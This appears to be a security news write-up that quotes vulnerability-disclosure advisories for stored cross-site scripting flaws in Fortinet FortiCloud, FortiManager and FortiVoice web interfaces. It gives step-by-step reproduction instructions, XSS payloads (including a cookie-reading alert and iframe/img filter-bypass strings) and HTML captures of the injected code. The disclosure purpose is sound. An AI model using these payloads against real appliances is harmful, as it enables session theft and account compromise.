Fortinet Patches Series of Remote Vulnerabilities in Appliance Products

Manual steps to reproduce the vulnerability ...

1. Open the forticloud appliance web-application and login

2. Open the reports > templates module

3. Switch to Summary Reports

4. Edit existing or Add a new own title , description  or chart

5. Inject as name value a script code payload (javascript)

Note: >"<iframe src=http://vulnerability-lab.com onload=alert(document.cookie) <

6. The execution occurs directly in the same input field context in the summary module

7. Successful reproduce of the vulnerability!  

[+] /report/graphic/upload/

Vulnerable Parameter(s):

[+] filename

Proof of Concept (PoC):

The persistent input validation web vulnerability can be exploited by local low privileged web-application user accounts and low user interaction (click). For security demonstration or to reproduce the vulnerability follow the provided information and steps below to continue.

Manual steps to reproduce the vulnerability ...

1. Login to the Fortinet FortiManager appliance web-application

2. Open the following module Reports > Reports > Client Reputation > Advanced Settings > Advanced Settings > Layout Header

3. Scroll to the layout header section

4. Start a session tamper to intercept the http protocol communication

5. Choose a random file and perform the upload

6. Change with the live session tamper the filename value of the logo to a script code payload

7. Wait since the upload has been performed and click next to the upload input field

8. The script code executes were the filename is normally visible next to the upload via submit

9. Successful reproduce of the vulnerability!

Note: There could be other sections that are affected after the inject were the logo image is displayed finally!

PoC: Reports > Reports > Client Reputation > Advanced Settings > Advanced Settings > Layout Header [Header Image] (filename)

 <td id="yui_3_5_0_1_1453826860703_2595"><input value="{user_img_path}/&quot;><&quot;<img src=&quot;x&quot;>%20%20>&quot;<[PERSISTENT INJECTED SCRIPT CODE VIA FILENAME!]>2.png" name="header-image" type="hidden"><button id="yui_3_5_0_1_1453826860703_2594" type="button">Choose...</button><span>"&gt;&lt;"<img src="x">%20%20&gt;"<iframe src="a">%20<iframe>2.png</iframe></span></td></tr>

The fourth vulnerability in Forti manager also .A persistent and non-persistent input validation web vulnerability has been discovered in the official Fotinet FortiManager appliance product series. The vulnerability allows privileged guest user accounts and restricted user accounts to inject own malicious script codes to the application-side or client-side of the fortimanager appliance web-application series.

Vulnerable Module(s):

[+] Firewall Objects > Address > Tags > [Add Tags]

Vulnerable Parameter(s):

[+] appliedTags > tagList (tagSelector-addTag create-new)

Affected Module(s):

[+] Applied Tags

Proof of Concept (PoC):

The persistent and non-persistent cross site scripting web vulnerability can be exploited by remote attackers with low privileged web-application user account and low user interaction. For security demonstration or to reproduce the vulnerability follow the provided information and steps below to continue.

Manual steps to reproduce the vulnerability as guest user with restricted access privileges ...

1. Login to the fortimanager appliance web-application as guest user

2. Open the following section that is not restricted to guests mainly (Firewall Objects > Address )

3. Now, switch to the Tags section and click to the non-restricted button [Add Tags]

4. Add in the `Add Tags` and inject to the input field your test payload to approve the validation

Note: (Payload) "><"<img src="x">%20%20>"<iframe src=a>%20<iframe>

5. The script code execution occrs in the applied tags listing.

6. Successful reproduce of the vulnerability!

PoC: Firewall Objects > Address > Tags > [Add Tags]

<tr><td colspan="99"><b>Tags</b></td></tr>

<tr class="tr_tag"><td class="dep_opt"><label for="appliedTags">Applied tags</label></td>

<td colspan="99"><span id="appliedTags" class="tag_list"><span mkey="&quot;><&quot;

<img src=&quot;x&quot;>%20%20>&quot;<iframe src=a>%20<iframe>  &quot;><&quot;<img sr" class="object_tag object_tag_remove">

<span class="tag_label">"&gt;&lt;"<img src="x">%20%20&gt;"<[PERSISTENT INJECTED SCRIPT CODE VULNERABILITY!]>  "><"<img sr</iframe></span><span class="tag_tail"></span></span></span></td></tr>

...

<input value="&quot;><&quot;<img src=&quot;x&quot;>%20%20>&quot;<[PERSISTENT INJECTED SCRIPT CODE VULNERABILITY!]>%20<iframe>  &quot;><&quot;<img sr" id="tagList" name="tagList" type="hidden">

<tr id="_clionly_opts_"><td style="text-align:left;" colspan="99"><nobr><a href="#" onclick="taggleCLIOnlyFields();"><img id="cli:twist:img" 

src="/resource/images/twistie_collapsed.gif">Advanced Options</a></nobr></td></tr><tr id="cli:tb:row" style="display:none"><td colspan="99">

The persistent input validation web vulnerability can be exploited by low privileged guest web-application user accounts with low user interaction. For security demonstration or to reproduce the vulnerability follow the provided information and steps below to continue.

Manual steps to reproduce the vulnerability as guest user with restricted access privileges ...

1.  Login to the fortimanager appliance web-application as guest user

2.  Open the following section that is not restricted to guests mainly (http://www.fortimanager.com/cgi-bin/module//sharedobjmanager/vpn/SOMVpnS...)

3.  Click Security Profiles > SSL VPN Portal

4.  Now click the pre-defined Bookmarks button ahead to the listing

5.  Add your test payload to verify the issue in the Name and Description input field

6.  Save the entry

7.  The code executes in the Pre-Defined Bookmarks listing context in two locations

8.  Save the entry by return again

9.  Now you reopen the post to edit the pre-defined bookmarks

10. A second execution of the payload occurs in the edit form next to the category entry

11. Successful reproduce of the persistent vulnerability!
 

PoC: Source #1 - Policy & Objects > Security Profiles > SSL VPN Portal > Predefined Bookmarks > [Create] Listing

<tbody><tr class="heading"><th>Name</th><th>Type</th><th>Location</th><th>Description</th><th></th></tr><tr class="bk-cate"><td style="text-align: left; padding-left: 20px;" colspan="5" class="bk-cate-expand">Bookmarks</td></tr><tr class="bk-cate"><td style="text-align: left; padding-left: 20px;" colspan="5" class="bk-cate-expand">"&gt;&lt;"<img src="x">%20%20&gt;"</td></tr><tr bkname="&quot;><&quot;<img src=&quot;x&quot;>%20%20>&quot;<iframe sr" bkcate="&quot;><&quot;<img src=&quot;x&quot;>%20%20>&quot;<iframe sr"><td>"&gt;&lt;"<img src="x">%20%20&gt;"</td><td>SSH</td><td>benjamin-km</td><td>"&gt;&lt;"<img src="x">%20%20&gt;"<iframe src="a">%20<iframe></iframe></td><td><nobr><img src="/resource/images/edit.gif" onclick="edit_bookmark(this);">&nbsp;<img src="/resource/images/delete.gif" onclick="del_bookmark(this);"></nobr></td></tr></tbody>

PoC: Source #2 - Edit Form (Category)

<div id="bAutoComplete" style="z-index:9001;"><input id="bkcate" name="bkcate" value="">&lt;"<img src="x">%20%20&gt;"<iframe sr"="" maxlength="35" style="position:static;background: url(/resource/images/tabOption.gif) center right no-repeat #FFF;"><div id='bContainer'></div></div></td></tr><tr><td  style='padding:3px;'>Name</td><td><input id='bkname' name='bkname' value=""><"<img src="x">%20%20>"<iframe sr" maxlength=35 ></td></tr><tr><td style='padding:3px;'>Type</td><td><select id='bktype' name='bktype'><option value=9 >CITRIX</option><option value=4 >FTP</option><option value=1 >HTTP/HTTPS</option><option value=11 >Port Forward</option><option value=8 >RDP</option><option value=10 >RDP NATIVE</option><option value=6 >SMB/CIFS</option><option value=3 selected>SSH</option><option value=2 >Telnet</option><option value=7 >VNC</option></select></td></tr><tr><td style='padding:3px;'>Location</td><td><input id='bkloc' name='bkloc' value="benjamin-km" maxlength=128></td></tr><tr id='tr_rport'><td style='padding:3px;'>Remote Port</td><td><input id='bkrport' name='bkrport' value="0"  maxlength=5></td></tr><tr id='tr_lport'><td style='padding:3px;'>Listening Port</td><td><input id='bklport' name='bklport' value="0"  maxlength=5></td></tr><tr id='tr_sw'><td style='padding:3px;'>Screen Width</td><td><input id='bksw' name='bksw' value="1024"  maxlength=4></td></tr><tr id='tr_sh'><td style='padding:3px;'>Screen Height</td><td><input id='bksh' name='bksh' value="768"  maxlength=4></td></tr><tr id='tr_usr'><td style='padding:3px;'>Logon User</td><td><input id='bkusr' name='bkusr' value=""  maxlength=35></td></tr><tr id='tr_pswd'><td style='padding:3px;'>Password</td><td><input id='bkpswd' name='bkpswd' type='password' value=""><input id='bkpswdflag' name='bkpswdflag' type='hidden' value=0></td></tr><tr id='tr_kbd'>

The sixth vulnerability was in FortiVoice Product , FortiVoice phone systems and phones deliver intelligent call handling in a simple, affordable and user-friendly package. FortiVoice products are easy to install, easy to configure and easy to use, and come complete with everything a business needs to handle calls professionally, control costs and stay connected everywhere.

A filter bypass and multiple persistent cross site vulnerabilities has been discovered in the FortiVoice v5.x appliance web-application.allows remote attackers to inject own malicious script codes on the application-side of the affected module.